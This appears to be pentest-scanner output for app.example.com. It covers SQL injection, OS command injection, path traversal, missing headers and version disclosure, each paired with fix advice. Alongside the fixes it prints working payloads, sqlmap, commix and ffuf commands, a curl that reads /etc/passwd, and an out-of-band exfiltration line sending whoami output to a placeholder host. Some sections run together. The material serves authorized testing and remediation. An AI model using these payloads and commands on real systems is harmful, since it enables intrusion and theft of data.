PLAIN-LANGUAGE EXPLANATION (no jargon)
• What is the problem?
Your site asks its database a question by pasting the visitor's text straight into it. A clever visitor can rewrite the question in your place.
• Where, exactly, on your site?
- Page: https://app.example.com/product
- The exact spot: the "id" field (sent via GET)
• What an attacker can do:
Read your whole database: accounts, passwords, emails, your customers' orders. Sometimes log in as admin without a password.
• How to fix it, step by step:
1. NEVER paste the visitor's text into an SQL query. Use prepared (parameterised) statements.
2. PHP/PDO: $r = $pdo->prepare("SELECT * FROM products WHERE id = ?"); $r->execute([$id]);
3. Check that "id" is really a number: reject everything else.1" AND SLEEP(6)-- -baseline 0.4s | control(0) 0.5s | delay(3) 3.6s | delay(6) 6.5s — the delay GROWS proportionally to the payload (ratio ~1.0), replayed twice. Network latency does NOT track the payload.
🎯 FLAW: SQL injection — blind time-based (mysql)
Address : https://app.example.com/product?id=1
Parameter : id (GET method)
Payload : 1" AND SLEEP(6)-- -
State: CONFIRMED — signal replayed twice (absent from the baseline)
━━━━━━━━━━ WHAT TO DO, IN ORDER ━━━━━━━━━━
▶ STEP 1 — Open a terminal (Kali: "Terminal"; Windows: PowerShell).
▶ STEP 2 — Confirm the flaw yourself (curl is installed everywhere)
👉 Paste: curl -i "https://app.example.com/product?id=1%22%20AND%20SLEEP(6)--%20-"
✅ You should see: the page takes several SECONDS longer to answer with the payload, while it responds instantly with a normal value.
▶ STEP 3 — Exploit with sqlmap (already on Kali)
👉 Paste: sqlmap -u "https://app.example.com/product?id=1" -p id --batch --random-agent --level=5 --risk=3
✅ You should see: "… is vulnerable", then the DBMS, the account in use and its privileges.
▶ STEP 4 — Prove impact — minimal and clean
👉 Paste: sqlmap -u "https://app.example.com/product?id=1" -p id --batch --current-user --current-db --is-dba
⛔ Never --dump the whole database, never --os-shell.
━━━━━━━━━━ FIX (to pass to the client) ━━━━━━━━━━
1. PARAMETERISED queries everywhere (bound variables) — never concatenation.
2. Strictly validate/type inputs (id = integer).
3. Least-privilege DB account (no DBA, no FILE).
4. Disable detailed SQL error display in production.
⚠ WRITTEN-AUTHORIZED target only. Bounded, non-destructive verification (nothing extracted/kept, nothing modified).PLAIN-LANGUAGE EXPLANATION (no jargon)
• What is the problem?
Your site runs system commands with the visitor's text inside them. The visitor can slip in THEIR own command.
• Where, exactly, on your site?
- Page: https://app.example.com/tools/ping
- The exact spot: the "host" field (sent via GET)
• What an attacker can do:
Run any command on your server: read everything, delete everything, install malware, pivot into your internal network.
• How to fix it, step by step:
1. Don't call a shell with the visitor's text. Use functions that take arguments as a LIST.
2. Node.js: execFile('ping', ['-c','1', host]) instead of exec('ping '+host).
3. Strictly validate the expected value (an address must look like an address).127.0.0.1 & ping -c 4 127.0.0.1baseline 0.2s | control(0) 0.3s | delay(2) 2.4s | delay(4) 4.3s — the delay GROWS with the payload (proportional), which network latency does not.
🎯 FLAW: OS command injection — time delay
Address : https://app.example.com/tools/ping
Parameter : host (GET method)
Payload : 127.0.0.1 & ping -c 4 127.0.0.1
State: CONFIRMED — signal replayed twice (absent from the baseline)
━━━━━━━━━━ WHAT TO DO, IN ORDER ━━━━━━━━━━
▶ STEP 1 — Confirm with curl: the page answers several seconds longer with the payload.
▶ STEP 2 — Exfiltrate proof to your OOB collaborator (output is blind):
; curl http://YOUR-OOB/$(whoami) (Linux) — or — & nslookup %USERNAME%.YOUR-OOB (Windows)
▶ STEP 3 — Automate with commix: commix -u "https://app.example.com/tools/ping?host=127.0.0.1"
━━━━━━━━━━ FIX (to pass to the client) ━━━━━━━━━━
1. Never a shell with user input — API with an ARGUMENT ARRAY (shell=False).
2. Strict allow-list (host = IP/domain regex).
3. Least-privilege service; harden with AppArmor/SELinux.
⚠ WRITTEN-AUTHORIZED target only. Bounded, non-destructive verification.PLAIN-LANGUAGE EXPLANATION (no jargon) • What is the problem? Your site opens a file whose name comes from the visitor. By writing ../../ the visitor climbs up folders and reads files they shouldn't see. • Where, exactly, on your site? - Page: https://app.example.com/download - The exact spot: the "file" field (sent via GET) • What an attacker can do: Read private server files: configuration, passwords, source code. Sometimes this leads to code execution. • How to fix it, step by step: 1. Map an identifier to a file server-side (1 → report.pdf) and reject the rest. 2. If you accept a name, keep only the basename and check the final path stays inside the allowed folder. 3. Forbid "../" and absolute paths; keep secrets OUTSIDE the public folder.
../../../../etc/passwddifferent response for a REAL system file (../×4 etc/passwd) vs a NON-EXISTENT one of the same shape — the app resolves the supplied path.
🎯 FLAW: Path traversal — file-existence oracle
Address : https://app.example.com/download
Parameter : file (GET method)
Payload : ../../../../etc/passwd
State: CONFIRMED — signal replayed twice (absent from the baseline)
━━━━━━━━━━ WHAT TO DO, IN ORDER ━━━━━━━━━━
▶ STEP 1 — Confirm with curl:
curl -i "https://app.example.com/download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
✅ You should see lines like "root:x:0:0:…".
▶ STEP 2 — Automate with ffuf ("FUZZ" = the spot tested):
ffuf -u "https://app.example.com/download?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mr "root:x:0:0"
━━━━━━━━━━ FIX (to pass to the client) ━━━━━━━━━━
1. Indirect identifier (id→file mapping) with an allow-list.
2. basename() + validation, then verify realpath stays INSIDE the allowed directory.
3. allow_url_include=Off (PHP); secrets out of the web root.
⚠ WRITTEN-AUTHORIZED target only. Bounded, non-destructive verification.PLAIN-LANGUAGE EXPLANATION (no jargon) • What is the problem? Some security "headers" are missing: small instructions the server gives the browser to protect it. Without them, some attacks are easier. • Where, exactly, on your site? - Every page of https://app.example.com • How to fix it, step by step: 1. Add a strict Content-Security-Policy, X-Content-Type-Options: nosniff, and HSTS. 2. On Nginx: add_header in the server block, then reload the configuration.
Missing: Content-Security-Policy, X-Content-Type-Options, Strict-Transport-Security, Referrer-Policy.
PLAIN-LANGUAGE EXPLANATION (no jargon) • What is the problem? The server advertises its software versions. Not a flaw in itself, but it helps an attacker target known vulnerabilities. • How to fix it, step by step: 1. Hide the version in the "Server" header (Nginx: server_tokens off;). 2. Remove the "X-Powered-By" header.
Server: nginx/1.24.0 · X-Powered-By: PHP/8.2.1